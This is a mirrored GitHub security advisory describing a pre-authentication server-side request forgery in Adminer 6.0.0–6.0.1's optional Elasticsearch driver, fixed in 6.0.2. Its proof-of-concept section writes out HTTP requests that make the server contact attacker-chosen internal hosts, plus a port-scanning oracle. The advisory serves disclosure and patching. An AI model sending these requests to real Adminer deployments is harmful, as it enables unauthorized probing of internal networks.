GHSA-Q8H3-4CX4-PRGM
Unauthenticated Pre-Authentication SSRF in Adminer Elasticsearch Plugin
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-Q8H3-4CX4-PRGM divulgada · CVSS 5.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer 6.0.0 and 6.0.1 contain a pre-authentication Server-Side Request Forgery (SSRF) vulnerability in the optional Elasticsearch driver.
An unauthenticated attacker can control the `auth[server]`, `auth[username]`, and `auth[password]` parameters and cause the Adminer server to send an HTTP GET request to an arbitrary reachable host and port. The request is initiated before the Adminer login result is validated.
For non-2xx Elasticsearch-style responses, selected JSON error fields are returned through the login page. Connection failures are also displayed, providing a port-scanning oracle.
Details
The vulnerable execution path is:
Unauthenticated login request
-> auth.inc.php
-> Driver::connect()
-> Db::attach()
-> rootQuery("")
-> get_url()
-> file_get_contents()
-> attacker-controlled HTTP destination
-> response or connection error returned to the login pageRelevant source locations in Adminer 6.0.0 and 6.0.1:
- `adminer/include/auth.inc.php:208-231`: invokes `Driver::connect()` before validating the login result.
- `adminer/include/driver.inc.php:39-43`: invokes the driver `attach()` method.
- `plugins/drivers/elastic.php:109-118`: constructs an outbound URL using attacker-controlled credentials and server data, then immediately calls `rootQuery("")`.
- `plugins/drivers/elastic.php:19-30`: sends the HTTP request through `get_url()`.
- `plugins/drivers/elastic.php:44-52`: extracts error fields from non-2xx JSON responses and stores them in `$this->error`.
- `adminer/include/functions.inc.php:429`: performs the outbound request using `file_get_contents()`.
- `plugins/drivers/elastic.php`: validates only the general server syntax and does not block loopback, private, link-local, or other reserved addresses.
If no port is provided, the driver appends port `9200`. Ports below `1024` are rejected by Adminer's generic port check, but internal addresses using permitted ports remain reachable.
The optional driver can be loaded through the repository's `adminer/elastic.php` template or an equivalent `adminer_object()` configuration. The default Adminer build does not load the Elasticsearch driver unless it is explicitly deployed.
PoC
Prerequisites:
- Adminer 6.0.0 or 6.0.1.
- The Elasticsearch driver is installed and enabled.
- PHP `allow_url_fopen` is enabled.
- The Adminer server can reach the target host.
- No valid Elasticsearch credentials are required.
- The target service listens on port `1024` or higher, or uses the default port `9200`.
Use an internal test HTTP service that returns an Elasticsearch-style error:
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{
"error": {
"root_cause": [
{
"type": "security_exception",
"reason": "ADMINER_SSRF_TEST"
}
]
},
"status": 401
}First request the login page to establish a normal session:
GET /adminer/elastic.php?elastic= HTTP/1.1
Host: <ADMINER_HOST>Then submit arbitrary credentials and an attacker-controlled internal destination:
POST /adminer/elastic.php?elastic= HTTP/1.1
Host: <ADMINER_HOST>
Content-Type: application/x-www-form-urlencoded
auth%5Bdriver%5D=elastic&auth%5Bserver%5D=<INTERNAL_HOST>%3A9201&auth%5Busername%5D=u&auth%5Bpassword%5D=x&auth%5Bdb%5D=Follow the redirect generated by Adminer:
GET /adminer/elastic.php?elastic=<INTERNAL_HOST>:9201&username=u HTTP/1.1
Host: <ADMINER_HOST>
Cookie: <SESSION_COOKIE>The Adminer server sends an outbound request similar to:
GET / HTTP/1.1
Host: <INTERNAL_HOST>:9201
Authorization: Basic dTp4
Accept: */*`dTp4` is the Base64 encoding of `u:x`.
Expected results:
- The internal test service receives the HTTP GET request.
- The login page displays an error similar to:
security_exception: ADMINER_SSRF_TEST- The request occurs before the supplied credentials are validated.
- The attacker does not need a valid Adminer or Elasticsearch account.
A connection-failure oracle can be tested using an unused port:
POST /adminer/elastic.php?elastic= HTTP/1.1
Host: <ADMINER_HOST>
Content-Type: application/x-www-form-urlencoded
auth%5Bdriver%5D=elastic&auth%5Bserver%5D=<INTERNAL_HOST>%3A9999&auth%5Busername%5D=u&auth%5Bpassword%5D=x&auth%5Bdb%5D=The resulting login page displays an error such as:
Failed to open stream: Connection refusedA request to a privileged port such as port 80 is rejected by the existing port check:
Connecting to privileged ports is not allowed.This does not prevent access to private or loopback addresses on permitted ports.
Impact
An unauthenticated remote attacker can cause the Adminer server to send HTTP GET requests to attacker-selected reachable hosts and ports.
Potential consequences include:
- Internal network reconnaissance.
- Port scanning of reachable services.
- Fingerprinting internal Elasticsearch or OpenSearch instances.
- Disclosure of selected error information from internal services.
- Disclosure of connection status and service availability.
- Conditional access to an internal Elasticsearch instance if it accepts the supplied credentials or the deployment uses a password-less login plugin.
The vulnerability does not directly provide arbitrary file read, file write, or operating-system command execution. The demonstrated impact is SSRF, internal service probing, and response/error disclosure.
Latest Version Status
The latest official GitHub release is:
Adminer v6.0.1
Commit: f4a3d5f2fd1b8cefdd50c6f03c4841f334595356Adminer v6.0.1 remains affected. Its Elasticsearch driver still:
- Constructs a URL from attacker-controlled username, password, host, and port.
- Automatically appends port `9200`.
- Calls `rootQuery("")` during `attach()`.
- Performs the request before the login result is validated.
- Does not block private, loopback, or link-local addresses.
- Returns selected non-2xx JSON error fields to the login page.
The current `main` branch contains the same relevant `attach()`, `rootQuery()`, and server-validation logic. No complete fix was identified in the latest release or current main branch.
The default Adminer build without the Elasticsearch driver is not affected by this specific vulnerability.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Corregida | 6.0.2 | — | — |
6.0.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-q8h3-4cx4-prgmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
